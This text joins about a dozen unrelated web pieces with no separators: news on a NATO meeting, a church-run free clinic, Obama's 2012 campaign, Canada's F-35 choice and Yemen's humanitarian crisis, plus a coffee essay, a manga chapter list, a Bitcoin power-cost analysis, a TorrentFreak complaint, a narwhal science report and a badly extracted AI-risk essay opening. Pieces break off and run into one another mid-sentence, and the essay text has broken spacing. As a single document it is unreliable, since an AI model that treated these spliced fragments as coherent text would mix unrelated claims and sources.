The Poland deployment forms part of what has become the largest military presence in Eastern Europe since the end of the Cold War. The U.S. and its NATO allies have put thousands of troops just miles from Russia, and Moscow has done the same on its side of the border.
Tillerson also took a hard line on Russia over Ukraine, saying the U.S. would not waver on sanctions unless the Kremlin lived up to its commitments for a cease fire and withdrawal of heavy weapons from front lines. On Thursday, NATO Secretary General Jens Stoltenberg said Russian-backed forces were interfering with international monitors in Ukraine — and violations of a ceasefire there had reached record levels.
Tillerson added that "the United States sanctions will remain until Moscow reverses the actions that triggered our sanctions."
He added that separate sanctions imposed over Russia's annexation of Ukraine's Crimean Peninsula "must remain in place until Russia returns control of the peninsula to Ukraine."
Tillerson and the other foreign ministers spent a little over four hours in meetings at NATO. The original NATO Foreign Ministerial was scheduled for two days.
Meanwhile on Friday, Defense Secretary James Mattis echoed Tillerson's comments on NATO's collective defense.
"NATO stands united, the transatlantic bond is united," he told a joint press conference in London with British Defense Secretary Michael Fallon. "We are going to maintain article 5 the absolute bedrock of NATO alliance."
Editor’s Note: A previous version of this story noted that Tillerson would not be attending the Secretary General’s press conference. Foreign ministers do not traditionally attend the Secretary General's press conference.Buy Photo Health (Photo: The Jackson Sun)Buy Photo
One year ago, Madison Baptist Church made the decision to open a free health clinic for the community.
Several nurses and a nurse practitioner from the church have made trips to Brazil to do health care clinics.
“My first thoughts were ‘why are we not doing that here in Jackson?’” Madison Baptist Church pastor Greg Gilbreath said. “We travel 18 hours by plane to do something that we could do right here; folks around here need it, too.”
The clinic has been slow growing, but a new patient has come in almost every month.
How does it work?
The free health clinic is intended to help those who do not have insurance. It is open from 9 a.m. to noon every third Saturday of the month.
“With the health care situation and insurance craziness in this country, a free health care clinic seems like a good way to minister to people,” Gilbreath said.
When members of the church were talking about opening the clinic, Gilbreath received a flyer in the mail about a class in Nashville on how to start up a health care clinic.
He gave it to a member, who is a nurse practitioner, and told her that if she would be interested in going, the church would fund it.
“She and her husband went to Nashville and sat through that thing and they came back saying ‘we can do this, and we should do this’ and the church just kind of rallied around the idea,” Gilbreath said.
There are two nurse practitioners who take turns seeing patients. If one can’t be there, the other one fills in. They also have a doctor who backs them up if they run into something they can’t handle — which hasn’t happened so far.
In addition to the nurse practitioners, there are five nurses and a pharmacist who volunteer. Though the clinic is not a pharmacy, they are a doctor dispensing location.
“We are not a pharmacy,” Gilbreath said. “We are a doctor dispensing location, so our nurse practitioner has to dispense the medications.”
The pharmacist fills the prescriptions and consults with the patients.
Looking ahead
Right now, the clinic sees about four patients a month.
“We’re kind of hoping that we will start seeing 10-15 patients on a Saturday morning — then we’re going to start doing it twice a month,” Gilbreath said.
Once they make it to twice a month for the health clinic, they hope to recruit a dentist and an optometrist in the off days of the health clinic. This way the clinic could be open four times a month.
“We’d love to see that happen,” he said.
When they first envisioned the health care clinic, they envisioned a house that would be open once a week.
It was almost a year before Gilbreath saw spiritual results — two people recently asked Jesus to be their Lord and Savior at the clinic.
New patients go through a gospel presentation and volunteers pray with every patient before they are seen.
“This is a way to give people what they might need for their body, but more importantly, for their soul,” clinic volunteer Linda Collins said.
Every patient gets the opportunity to hear the gospel one-on-one, and they pray to one day see people lined up out the door to get it, Collins said.
“God gave us this opportunity, and it is very gratifying to watch it grow,” she added.
Reach Brittney Jackson at [email protected] or 731-425-9643.
Read or Share this story: http://www.jacksonsun.com/story/news/local/2017/07/13/free-healthcare-ministry-madison-baptist/468395001/The Scourge Of Pour-Over Coffee
by Chris Chafin
On a recent Sunday, the crowd at the Brooklyn Flea was dangerously under-caffeinated. Blue Bottle Coffee, the only coffee vendor at the popular flea market, had just that weekend decamped, with little fanfare, until spring. The marble counter where their coffee wares were usually arrayed sat empty. The crowd — the weekend shoppers for costume jewelry and vintage iron-on decals — became indignant when told that they would have to go across the street — to a Starbucks — to get their caffeine fix. “Are you serious?!” a woman demanded of the hapless cupcake vendor who had the misfortune to have a spot next door. “Yes, I’m serious,” he replied, affecting the blankness of an airline representative with a line of stranded holiday travelers. “You’re not the first person to ask me that today.”
What had broken Blue Bottle’s nearly yearlong run at the Brooklyn Flea? What was the root cause of this rage and frustration? The answer: pour-over coffee, a seemingly simple but incredibly time-consuming method of coffee assemblage which wreaks destruction wherever it appears, a gastronomical ascot whose chief benefit seems to be that it roughly triples the time it takes to make a cup of coffee and allows consumers to then imagine that they can taste a difference.
It was a little over a year ago that The New York Times heralded the arrival of pour-over coffee in a trend story titled “Coffee’s Slow Dance.” The writer Oliver Strand described the method by which pour-over coffee is created — water is poured from a specially made kettle into a suspended cup of coffee grounds, through which the coffee seeps to the waiting cup below (that the specialized equipment needed comes from Japan likely will not surprise you). While allowing that the process might sound “precious or tedious” to some, he enthused that the resulting coffee was, in the intricacy and delicacy of its flavor, like “picking up a drafting pen after only writing with Magic Markers.”
This sort of praise is typical of pour-over enthusiasts. Taylor Janes is a 20-something farmer’s market cheesemonger who designs brass brackets for pour-overs in his spare time. (I know him because he’s a former classmate of mine at that bastion of Manhattan liberalness, The New School. Yes, I know.) He doesn’t care that it can take roughly four to five minutes to brew a single cup. “I want it to take longer,” he told me. “From opening a bag and inhaling deeply, practicing my pour technique and watching the bloom, to the industrial handsomeness of the galvanized steel pour station, the observance of and commitment to a morning ritual results in a refined sense of personal satisfaction.”
What is it actually like to drink pour-over coffee? I can’t deny that there is something a different about it — its flavors are richer than is usual in drip coffee, hiding underneath a layer of physical heat and slowly unspooling themselves on your palette in the moments after a sip. For this piece, I sampled several pour-overs at Blue Bottle’s Williamsburg outpost, and on at least one day I was struck with an unusually intense caffeine high that left me vibrating and sweating in my desk chair, feeling like I’d been whisked through here.
The technique had its devotees, of course, long before The Times wrote about it. And in the year since the piece ran, there’s been even further advancement in the world of coffee pour overs. The Hario VDC-02W Dripper V60 Size 02 White Ceramic Funnel, an unassuming white cone that sits atop a cup of coffee and serves as a pour-over coffee filter is, at the time of this writing, the top-selling item in Amazon’s “Coffee Servers” category (other assorted pour-over tchotchkes fill up three more spots in the top ten). The Hario VKB-120HSV V60 Coffee Drip Kettle Buono, another pour-over accessory, is a sensually ribbed teapot with a long, S-curved spout protruding from its front, giving it the appearance of a cartoon baby elephant, or an incredibly rare orchid. It also sits atop its category (#1 in Kitchen & Dining > Tabletop >Serveware > Teapots & Coffee Servers > Teapots).
Blue Bottle, the only New York coffee cult name-checked in The Times piece, is expanding, too, opening two Manhattan branches in addition to it Williamsburg coffee bar/roastery/shipping facility. There are now more than a dozen other places selling pour overs in the city: Abraço in the East Village, PORTS in Chelsea and O Café in Greenwich Village. Another is Joe the Art of Coffee, whose new Upper East Side location will feature pour-overs, according to this December write-up:
“Rather than batch brewing in big urns, it’s more theater,” owner Jonathan Rubinstein said of the art of pour-over. “The way we’re building this, we’re putting in a window pane as a permanent fixture. And how we’re lighting it, we’re making it a glass stage, for lack of a
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-debate tour of swing states Thursday with an outdoor rally here during which he ridiculed Republican rival Mitt Romney for selling the public a “sketchy deal” whose focus was cutting taxes for the wealthy.
“You’ve heard of the New Deal, the square deal, the fair deal. Mitt Romney’s trying to sell you a sketchy deal. You don’t need a sketchy deal,” Obama said. “The last time this sketchy deal was tried was when the previous administration made the same sales pitch.”
Obama’s stump speech echoed the ones he gave in appearances in Iowa and Ohio on Wednesday, as he tried to gain momentum after the second presidential debate on Tuesday in New York. Obama again mocked Romney’s comment during the debate that he had received “binders full of women” when he was recruiting cabinet members as Massachusetts governor 10 years ago.
Obama has proposed extending the George W. Bush-era tax cuts for people earning less than $250,000, but allowing the cuts to expire for higher-income earners as a way to help cut the growing federal deficit. Obama is threatening to veto any legislation that would extend the tax cuts for the wealthy as Congress wrestles with ways to avoid a so-called “fiscal cliff” at year’s end when the tax cuts are set to expire and mandatory spending cuts are set to kick in.
“The issue here is clear: We cannot afford tax cuts for the wealthiest 2 percent of Americans,” White House press secretary Jay Carney said aboard Air Force One en route to New Hampshire. “One of the reasons we have the fiscal situation that we have is because the previous administration twice passed massive tax cuts largely benefiting the wealthiest Americans and did not pay for them.... It’s just fiscally irresponsible, and it does not help the economy.”
View Graphic Explore the 2012 electoral map and view historical results and demographics
Obama continued his appeal to female voters, saying that he signed legislation to extend the time women have to sue their employers for wage discrimination because he wants his own daughters to receive the same pay as their male counterparts in the future.
“I don’t know what’s so complicated,” Obama told the crowd. “Governor Romney still won’t say whether or not he supports a law that protects that right. You know where I stand.”
After the speech, Obama was headed to New York for a high-dollar campaign fundraiser and an appearance on the “Daily Show” with Jon Stewart. Obama also will speak at the annual Al Smith dinner, a charity event sponsored by the Archdiocese of New York. Romney also is scheduled to appear at the dinner.
On Friday, Obama will speak at a rally in Northern Virginia, before heading this weekend to Camp David to prepare for the final debate Monday in Boca Raton, Fla.Apollo - Oneshot Attack On Titan Bakuman Behind Birdmen Black Clover Blue Phobia Boku no Hero Academia Illegals Boruto: Naruto Next Generations Burn the Witch Cardcaptor Sakura - Clear Card Arc Chi no Wadachi Count Over Downfall Dr. Stone Drea•Mer Eden's Zero Fantasies Galaxy Gang Gamblers Parade Golem Hearts Handa-kun Hero Mask hot Hozuki-san Chi no Aneki + Imouto Hungry Marie Hunter x Hunter Ichigo 100% East Side Story Itoshi no Muco Jujutsu Kaisen Kaguya Wants to be Confessed to Kaguya Wants to be Confessed to Official Doujin Kochikame Koe koi Kuroshitsuji Magic scroll merchant Zio Majo no Kaigashuu Memesis Metsuko ni Yoroshiku Monku no Tsukeyou ga Nai Rabukome Mononofu Mononogatari My Hero Academia Nanatsu no Taizai Nani mo nai( Sora wa Aoi ) Nanoha Yougashiten no Ii Shigoto Nisekoi No Longer Human Noah's Notes One Piece One Punch-Man One Shot - Braids: "Case of the Braid Killer" Oneshot - Frog and Haru's super beast comic Orient Origin Peerless Dad Platinum End Raid re: monster Red Sprite Red Storm Robot x Laserbeam Sakamoto desu ga? Seraph of the End Shinobi no BAN Silver Spoon Smokin' Parade Solo Leveling Sora no Kian Tensei Shitara Slime Datta Ken The Promised Neverland Tokyo Ghoul: re Tokyo Metropolitan Magic Technical School Twin Peach Twin Star Exorcists Twin Star Exorcists: Omake U19 UQ Holder Uratarou Wangtangchang the Yurutto Hunter War of Mountains and Seas We Can't Study We Don't Know a Thing About Love We Want to Talk About Kaguya Wonted Yuragi-sou no Yuuna-san Zanki x 99 Zui Wu Dao
Page 194: Spite Page 193: The Final Challenger Page 192: Two Bright Red Fists Page 191: Storming Into The Shadow Palace Page 190: Let's Go!!! Page 189: A Trustworthy Human Page 188: I Have Lived For This Page 187: Offense and Defense Between Heaven and Earth Page 186: The Eye in The Mirror Page 185: The Chance Meeting of Dreams Page 184: The Dream World Page 183: The Raging Bull Joins the Peak of the Deciding Battle!! Page 182: The Followers of Sephirah Page 181: Brothers of Spatial Magic Page 180: The Sharpened Blade Page 179: Battle of the King's Room Page 178: The Magic of Humans Page 177: Dancing Princess of the Battlefield Page 176: Siblings Page 175: Battle of the Silva Family Page 174: Flying In Page 173: Final Battle at Clover Castle Page 172: Rebirth Page 171: The Sleeping Lion Page 170: The Fallen Person Comes Alive Page 169: The Captain of the Black Bulls VS The Deep Crimson Rose Page 168: VS People who have Sworn Loyalty to the Same Man Page 167: The Road to Revenge and Atonement Page 166: An Avenger’s Resurrection Page 165: The Black Bulls’ Explosive Entry!!! Page 164: Let the Hooligans run WIld! Page 163: Smiles and Tears Page 162: Lightning of Rage V.S Friends Page 161: Human Bonds Page 160: You Probably Don't Know Page 159: Ill-Omened Release Page 158: The Life in the Village at the Farthest Reaches Page 157: Destruction, or a Country’s Savior? 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Page 134: The dream Page 133: The Royal Knights' Formation Page 132: The Victor Page 131: Before Page 130: Burn the present into memory Page 129: An only son’s way of life Page 128: Those who fight until the end Page 127: Gold and Black Sparks Page 126: The Honor Student vs. The Good-For-Nothing Brother Page 125: It Was Beautiful Page 124: Yankee-senpai vs the Muscular Runt Page 123: The commoner's trap Page 122: My way! Page 121: Stomping Page 120: Fate Page 119: More Page 118: Mage X Page 117: The Two Space Magic Users Page 116: Coral Peacock's Vice Captain Page 115: Oh Well Page 114: Flower of Oath Page 113: The Crystal Destruction Battle Tournament Page 112: Royal Knights Selection Exam Page 111: Taking a bath Page 110: St. Elmo’s Fire Page 109: Ultim Volcano Hiking Trail Page 108: The Undefeated, Uncrowned Lioness Page 107: The King of the Clover Kingdom Page 106: We came all this way Page 105: Two Rising Stars Page 104: The Thorn Maiden's Melancholy Page 103: Fun double date at the festival Page 102: Asta’s day off Page 101: I'm home. Page 100: The Red String of Destiny Page 99: Family Page 98: He Has Not Changed At All Page 97: Nothing Special Page 96: Transformation Page 95: New Heights Page 94: A Change Page 93: The Promised World Page 92: I'm not letting you die! Page 91: Plasma Explosion Page 90: Students Page 89: The Deserter's Atonement Page 88: Thrust of the Finisher Page 87: I'm Not A Loser! Page 86: Flames of Hatred Page 85: The Charging Bull Page 84: Decision at the Battlefield Page 83.1: Jump Giga Omake Page 83: Infiltration Page 82: The Witch's Forest Page 81: A Guy Like That Page 80: Never Again Page 79: The Depths of the Mask Page 78: The Weak's Proclamation Page 77: The Better Man Will Win Page 76: The Strongest Order Page 75: The Battle of Citen Page 74: Proof of Being Correct Page 73: The Fight is Over, and Despair Has Met It's End Page 72: Beyond One's Limits Page 71: Open the Path of Destiny Page 70: Despair versus Hope Page 69: My Only Weapon Page 68: Awakening Page 67: Bonds Page 66: The true form Page 65: The Man That Doesnt Give Up Page 64: An Unfiltered Fireball And A Wild Lighting Bolt Page 63: A Game With Lives On The Line Page 62: The Strong Reign Page 61: Royal Rumble At The Water Temple Page 60: The Game of the High Priest Page 59: The water temple Page 58: The story of the growing water Child Page 57: A Black Beach Story Page 56: Three-leaf Salute Page 55: The Captains and the Peasant Boy Page 54: A meeting of the magic knight captains Page 53: That isn't yours Page 52: Those Without Mana Page 51: Third Eye Page 50: Verdict of Light Page 49: Fight fire with fire Page 48: Ki Page 47: Light Magic VS Dark Magic Page 46: The Man Who Cuts Death Page 45: One Day You'll Protect Someone Else. Page 44: Siblings Page 43: The Swirling Madness Page 42: The 3rd Leaf Page 41: Flash. Page 40: The Snowy Chase Page 39: The Mirror Mage Page 38: The person in my heart. Page 37: When We Meet Next Page 36: Light Page 35: The Most Powerful Man Page 34: The wounded beast Page 33: Adversity Page 32: The Man At The end Of The Darkness Page 31: The Crimson Lion King Page 30: A New Rival Page 29: Sore Loser Page 28: Black Out Page 27: Gaining Strength Page 26: Magic Mayhem Page 25: The Zombie Brigade Comes Page 24: The Riot At The Castle Town Page 23: Valour Ceremony Page 22: Gathering at The King's Palace Page 21: Destruction and Rescue Page 20: This Moment Page 19: Remembering You Page 18: The Depths Of The Treasure Room Page 17: Destroyer Page 16: Death Match Page 15: The Three Of Us Page 14: Teammates Page 13: The Diamond Mage Page 12: Reunion Page 11: Dungeon Page 10: The Incident at the Castle Town Page 9: The Boy's Vow, Ver 2.0 Page 8: The Protectors Page 7: Beast Page 6: Go Go, First MISSION!!! Page 5: The other NOOB Page 4: The black Sheep's Crook Page 3: The Road To The Magic Emperor Page 2: The Magic Knights Entrance Exams Page 1: The Boy's Vow Page 0: One ShotEarlier this week we looked at Bitcoin mining performance across a large range of GPUs but we had many requests for estimates on the cost of the power to drive them. At the time we were much more interested in the performance of these configurations but now that we have that information and we started to look at the potential profitability of doing something like this, look at the actual real-world cost of running a mining machine 24 hours a day, 7 days a week became much more important.
This led us to today's update where we will talk about the average cost of power, and thus the average cost of running our 16 different configurations, in 50 different locations across the United States. We got our data from the U.S. Energy Information Administration website where they provide average retail prices on electricity divided up by state and by region. For use today, we downloaded the latest XLS file (which has slightly more updated information than the website as of this writing) and started going to work with some simple math.
Here is how your state matches up:
The first graph shows the rates in alphabetical order by state, the second graph in order from the most expensive to the least. First thing we noticed: if you live in Hawaii, I hope you REALLY love the weather. And maybe it's time to look into that whole solar panel thing, huh? Because Hawaii was SO FAR out beyond our other data points, we are going to be leaving it out of our calculations and instead are going to ask residents and those curious to just basically double one of our groupings.
Keep reading to get the full rundown on how power costs will affect your mining operations, and why it may not make sense to mine AT ALL with NVIDIA graphics cards!
The second thing I noticed is that doing a graph for each of the 49 remaining stats (and the District of Columbia) would create a mess of graphs to present. Because of that we came up with the idea to group the states into four divisions and take the averages. You can see our break down here:
We took the 12 most expensive states, from Connecticut to Maryland, and found the average price between them. The next group of 12 was averaged, followed by 13 more and then 13 more. The averages we used for our calculations were:
Group A: $0.15809 / kWh
Group B: $0.11606 / kWh
Group C: $0.09813 / kWh
Group D: $0.08246 / kWh
* Hawaii residents, you should double all costs from Group A to get a good estimate from here on out.
If you are in a state from Group D (as I am) you are getting power for about half the cost of someone from most of the northeast or California. The question is though: does this affect the capacity for profit when Bitcoin mining?
Click to Enlarge
These results show each of our GPUs used in our initial performance evaluation of Bitcoin mining but instead in terms of cost per day to run them. Each grouping of states is presented on each card or configuration and the results are interesting. For reference you can see our power consumption results here in terms of performance per watt. The AMD A8-3850 APU uses just $0.305 / day to run its mining operation while "The Beast" takes $2.112 / day to do its work in the Group D states. If you happen to live in the more expensive area that power will cost you $0.584 / day and $4.048 /day (!!) respectively.
Just so you can see it easily and in graph form, here is the same data but scaled up to a month (30 days) and a year.
Click to Enlarge
Click to Enlarge
If you are running "The Beast" as your mining system you can expect a price for power as high as $1,477 each year which will obviously affect your profit margins to say the least. Even the Radeon HD 5830, one of the community's most popular cards, it can cost you anywhere from $169 / year up to $325 / year - as much as three times the cost of the GPU itself!
And just for a good reference point, here is the graph of the "potential" profit of each mining configuration from our previous performance centric article. For the Radeon HD 5830 you can subtract the cost of power of $169 or even $325 from the $538 total Bitcoin mined value for a total profit range of $369 all the way down to $213. A system like "The Beast" sees a similar drop in overall profitability going from $3,637 after paying for the hardware itself down to as little as $2,160 in those more expensive states.
Closing Thoughts
If you are in the market to build a system for Bitcoin mining you should obviously be aware of how the cost of power will affect your profits and loss. If you decided to Bitcoin mine on a GeForce GTX 590 you would actually lose $776 in your first year living in the northeast, California, etc. In fact, NO cards from the GeForce lineup would make you a profit in the first 365 days after purchasing the card. Even if you already own the card today, the power it costs to run the GTX GPUs might exceed the value of the Bitcoins you can mine over that same period.
Maybe this image should have Bitcoins being taken BY the GeForce instead...?
The AMD lineup is obviously a much better option in terms of power efficiency and cost efficiency, making them the hands-down winner in this battle. Even with that in mind, you should be sure you are aware of all the costs and potential pitfalls (lowering or rising exchange rates, higher power rates during the summer) before starting into the world of Bitcoin mining.
P.S. - If you live in Hawaii....just go to the beach.
Questions or comments for us? Let us know in the comments section below! (No registration required.)As Canada heads to the polls on Monday, Lockheed Martin F-35 backers will be quietly hoping for a conservative win after Liberal Party leader Justin Trudeau came out against the troubled fighter programme in favour of more spending on ships.
Despite putting the acquisition on hold in 2012, the ruling Conservative Party says it would push forward with the project should it win on 19 October, with leader Stephen Harper saying to exit the programme would “crater” the local aerospace industry and miss out on billions of dollars-worth of future contracts.
Polling posted by CBC News this week shows a tightly contested three-way race, with the Liberals pulling ahead at 35.6% against the Conservatives (30.4%) and New Democrats (23.8%).
Canada’s F-35 purchase is by no means a key election issues, but it is certainly crunch time for a decision on how best to replace the nation’s 77 aging Boeing CF-18A/B Hornet. Strong alternatives include the Boeing F/A-18E/F Super Hornet (which desperately needs new orders to continue production) as well as the Eurofighter Typhoon, Dassault Rafale and Saab Gripen.
Industrial participation has been central to the debate over whether Canada should buy the F-35, and it’s also a conundrum also faced by other long-time programme partners like Denmark, which has also been reassessing its purchase.
It is timely that Vancouver-based Avcorp announced a new contract with Lockheed this week for F-35 outboard wing assemblies for carrier-variant F-35s, with deliveries starting “in the second quarter 2016 and first deliveries in the third quarter”, the company said 15 October.
The deal adds to Avcorp’s existing work with BAE Systems, which has been buying outboard wing assemblies from Avcorp since 2011. Avcorp is just one of many Canadian aerospace firms to share in more than $637 million in contracts to support the F-35, according to Industry Canada.
Lockheed Martin
One must also take cost and capability into account, with a Canadian government assessment published in 2014 rating the main four options on the market as roughly equal when performing standard missions like defence of Canadian airspace and counterterrorism beyond 2030 – except for state-on-state warfare, where the F-35A is designed to excel.
On cost, the US government is paying about $100 million per A-model F-35, whereas a new Boeing F/A-18 Super Hornet costs approximately $60 million, according the US Navy.
Lockheed Martin and Pentagon officials said at the unveiling of Norway’s first F-35 last month that Canadian firms will continue to support the project irrespective of outcome of the fighter selection, but certainly those firms would be at a disadvantage when competing for new business.
“We still think the F-35 is the right choice for Canada," Lockheed F-35 programme manager Lorraine Martin said in Fort Worth, Texas, where the F-35 is assembled. “They’re still a formal member of this programme and participate in all the partner meetings, so they get a vote as the partnership goes forward, but when they buy aircraft we’ll put a detailed plan in place for them."
Canada’s participation in the Joint Strike Fighter effort dates back to 1997, and the country’s industrial participation plan firmed up in 2006 when initial product began. The aircraft was formally selected to replace the CF-18 in 2010.Anti-piracy outfits such as the U.S. based Copyright Alliance claim to champion the rights of creators, which includes giving credit to those contributing content to the web. However, it appears that despite putting in endless hours of work to create original content, news resources such as this one deserve no such protection.
Since this piece is about TorrentFreak content, we need to make it clear that any reader is free to do what they like with our material within the bounds of our Creative Commons license. Were not only happy for you to do that, we’re very proud that you’re sharing us with others.
However, some of our readers – those in the copyright lobby – like to make use of our content while doing their best not to give us credit. While hat-tips from them aren’t what we’re striving for here, it should be a concern to everyone when they’re prepared to throw the standards they impose on others out of the window.
In this instance i’m talking about the powerful Copyright Alliance, the US-based anti-piracy organization which counts the MPAA, RIAA and a who’s-who of industry companies among its members.
For weeks now the group’s Twitter account has been the cause of wry smiles behind this keyboard since despite the spending of the endless hours that go into producing TorrentFreak, the Copyright Alliance has gone out of its way to avoid crediting the site for its work.
At the very thin end of the scale, on several occasions TF has been the first to break news only to see the Copyright Alliance Twitter account promoting other sites reporting on the same stories much later. But all that really shows is that they’re slow to respond – big deal.
No, the major irritant is when the Copyright Alliance promotes our original content to its readers but then gives others the credit, which by their own standards is taking things too far.
As you can see, despite IBTimes clearly citing us as the source for their short summary of our exclusive on how the UK’s most prolific pirates were caught, the Copyright Alliance deliberately credited them, not us.
Nevertheless, that wasn’t the instance that caused the most eye-rolling.
While trying to ensure TF had fresh content every day over Christmas, we came up with a post debunking some of the most persistent piracy myths. Within hours another website took the piece, plagiarized it, and presented it as their own work.
But so what? If they can make a couple of bucks from it, good for them. It doesn’t hurt us and might even get file-sharing news out to a fresh audience somewhere. Perhaps more importantly, that site doesn’t claim to be “championing artists’ and creators’ rights.”
No, what actually lit the touch paper was the creators’ champions at the Copyright Alliance using their Twitter account to promote the plagiarized version over ours.
To be extremely clear, we aren’t looking for a pat on the back from the Copyright Alliance. But when they publish articles titled Giving Credit (and Hat Tips) Where Credit is Due containing the words “It’s a positive sign that people are recognizing the importance of crediting creative content and it’s origins…”, someone needs to hold them to their own standards.
And amazingly they’re standards they simply can’t maintain.
Just as this article was nearing completion on Friday, the Copyright Alliance did it again by deliberately linking to a piece in Metro covering our report from earlier in the week, despite that piece clearly citing us as the source.
Again, we aren’t getting any traffic from them and don’t want or need their support, but the Copyright Alliance are showing time and again that they do not practice what they preach. And this is only what we see in public.
Love them or loathe them, anti-piracy outfits have a right to exist and a right to go about their business. And, as annoying as it might be to some, governments across the world accept their legitimacy in a way that pirates can only dream of. As a result they tend to occupy the moral high-ground almost everywhere they tread.
But what this little episode shows is that unlike a site like this, which promotes both positive and negative news about copyright and piracy issues, organizations like the Copyright Alliance are only interested in pushing their own agenda in the way they see fit.
And if that means trampling on the rights of creators whom they don’t like (or don’t get paid by), so be it.By Matt Walker
Editor, Earth News
Narwhals are the'marathon runners' of the oceans, scientists have discovered. The Arctic-living tusked whales are exceptional endurance athletes, possessing a greater density of slow-twitch fibres in their muscles than any other marine mammal studied. But this ability also means they are one of the sea's slowest swimmers. That places them at high risk from climate change, as narwhals will not be able to cope with shifting, highly mobile ice floes caused by warmer seas. The ice has become highly mobile. That makes icebergs that are too big for these animals to swim beneath, and changes the reliability of known breathing holes
Marine biologist Professor Terrie Williams Details of the narwhal's extreme endurance ability and susceptibility to climate change are published in the journal Marine Mammal Science. Narwhals are one of three species of cetacean living in the Arctic, alongside the beluga whale and bowhead whale. They are also known as the 'unicorns of the sea' due to their long, elongated tusks. However, narwhals now have a new claim to fame, as the'marathon runners' of the oceans, say researchers Professor Terrie Williams and Dr Shawn Noren of the University of California, Santa Cruz and Dr Mike Glenn, of Sea World, San Diego, US. They made the first study of the physiological capacity of narwhals and found that the cetaceans have the highest levels of myoglobin in their muscles of any marine mammal measured to date. Please turn on JavaScript. Media requires JavaScript to play. Advertisement High levels of myoglobin allow large amounts of oxygen to be stored. Narwhals also have the highest percentage of slow twitch muscle fibres within swimming muscles for any marine mammal, the researchers discovered. In narwhals, around 87% of their swimming muscle fibres are of the slow twitch variety, which respond slowly but do not tire easily. In contrast, the ratio in dolphins is between 40-50%. A supremely fast fast land mammal, the cheetah, has less than 20% slow twitch fibres, as the majority of its leg muscles are made of fast twitch fibres that react fast but tire quickly, making them ideal for sprinting. WHALE INSIGHTS
Scientists can now follow individual narwhals, thanks to a new identification technique Read why pilot whales are known as the 'cheetahs of the deep' Find out more about the beluga, the narwhal's Arctic relative Narwhals actually have a muscle composition close to that of human endurance runners, as the leg muscles of an elite marathon runner contain more than 90% slow twitch muscle fibres. "This specialised morphology makes them excellent divers," Prof Williams told the BBC, as their muscles can store and efficiently use large amounts of oxygen. "But it comes at a cost. They appear to be one of the slowest swimmers out there." Climate threat This highly specialised swimming behaviour puts narwhals at significant risk from the effects of climate change, warn the researchers. Listed as 'near-threatened to vulnerable' on the IUCN list of endangered animals, around 75,000 narwhals are thought to survive, inhabiting the ice-choked waters of the Canadian Arctic and Greenland. This means narwhals have to be able to predict where holes in the ice are, in order to reach the surface to breathe. In fact, Prof William's study reveals that narwhals swim so slowly that they can only cover a distance of around 1.4km in any direction before they run out of oxygen, despite their endurance capability. SOURCES
Visit Marine Mammal Biology to read more about the sensitivity of narwhals to climate change So to survive, they need to be able to find a break in the ice at least every 1.4km. "The big surprise is how little of the Arctic waters narwhals can use due to the limitation of breathing," says Prof Williams. Worse, climate change will reduce the amount of suitable ocean, further endangering the species. "Warmer temperatures are creating more icebergs and larger floes," says Prof Williams. "The problem is not the ice is disappearing, rather in the course of disappearing the ice has become highly mobile. "That makes icebergs that are too big for these animals to swim beneath, and changes the reliability of known breathing holes." The researchers estimate that just 10% of the water under larger ice floes contains enough breathing holes, or fish to hunt, to be suitable for narwhals. Shifting winds can also quickly move ice around, making the appearance of breathing holes even more unpredictable. "A wrong decision [taken by a narwhal] or a shifting wind moving ice could be fatal."
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WHY WE NEED FRIENDL Y AI
Luke Muehlhauser and N ick Bostrom
Humans will not alwa ys be the most intelligent
agents on Earth, the ones steering the fu ture. What
will happen to us when we no longer play that role,
and how can we prepar e for this transition?
The human level of intelligence is an evolutionary acci-
dent – a small basecamp on a vast mountain side, far
below the highes t ridges of intelligence allowed by physics.
If we w ere visited by extr aterr estrials, these beings would
almost certainly be very much more intelligent and techno-
logically advanced than we are, and thus our future would
depend entirely on the content of their goals and desires.
But aliens are unlikely to make contact anyti me soon. In
the near term, it seems more likely we will crea te our intel-
lectual successors. Computers far outp erform humans in
many narrow niches (e.g. arithme tic and chess), and there
is reason to believe tha t similar large impr ov ements o ver
human performa nce are possible for general reasoning and
technological development.
Though some doubt that machines can possess certain
mental properties like consciousnes s, the absence of such
mental properties would not prevent machines from becom-
ing vastly more able than humans to efficiently steer the
future in pursuit of their goals. As Alan T uring wrote, ‘... it
seems probable that once the machine thinking metho d
has started, it would not take long to outstrip our feeble
pow ers... At some stage ther efore we should have to
expect the machines to take control... ’
There is, of course, a risk in passing control of the future
to machines, for they may not share our values. This risk is
increased by two factors that may cau se the transition from
doi:10.1017/S1477175613000316
#
The Roya l Institute of Philosophy, 2014
Think 36, V ol. 13 (Spring 2014)
Think Spring 2014
†
41Every share makes Black Voice louder! Share To Share To
Obama did not run on “yes, we can (if I have a Congress to my liking)” or “hope and change (if the 2010 midterm elections go my way)”.
For eight good years, African-Americans hoped for a change that was once promised to them by the nation’s first Black president, Barack Obama. A change for good, that racism, police violence against Black people, injustice and economic inequality will all be abolished.
Many citizens believed that the Obama presidency would have improved race relations. It was a time when the country had just woken up from a nightmare of Hurricane Katrina and the unending war in Iraq and the economy was creeping from the ground. Much was expected to be done in order to tackle the crises of poverty and security.
African-Americans entrusted President Obama with enthusiasm, twice, that he will put an end to the massive incarceration and killings on innocent Black men and women, but was disappointing to realize that he was not the president for Black America.
Obama has failed victims of racism and police brutality https://t.co/IGkOleBAs5 — Socialist Project (@socialism21) 20 July 2016
As years passed by, these hopes were shredded because the president couldn’t live up to his promises. Just after President Obama’s reelection in 2012, Black unemployment sky-rocketed to 14% while “38% of Black children lived in extreme poverty”.
At the later end of an eight-year reign of the first Black president, Black Americans have become even more frustrated than before, which is why Black Lives Matter, the last cry of despair of Black America, is needed to bring awareness to police brutality, injustice and inequality in communities.
Ensure to visit this page for all exclusive news and updates. Kindly SHARE this article on any social media of your choice.This is a rush transcript. Copy may not be in its final form.
AMY GOODMAN: So, talk about what is happening right now in Yemen, how devastating the situation is.
KRISTINE BECKERLE: It’s hard to describe in words how devastating it is, to be totally frank. So what you’ve got is what the U.N. describes as the world’s largest humanitarian crisis. And that means thousands upon thousands of cases of cholera, famine for millions across the country, and, on top of that, you’ve got parties at war who have been fighting for now more than two-and-a-half years, who seem to have no regard for the ways in which that war is affecting the civilian population. Human Rights Watch has documented over 80 apparently unlawful coalition attacks in Yemen that have hit schools, markets, homes, hospitals. Last Sunday, we heard new reports about them hitting a market, killing around 20 people. And this is—what we’ve seen is these attacks continuing and there being very little response in terms of the international community pushing for either the attacks to stop or accountability for the attacks that have already occurred.
AMY GOODMAN: I want to turn to the U.N. emergency relief coordinator, Stephen O’Brien, addressing the U.N. Security Council late last month.
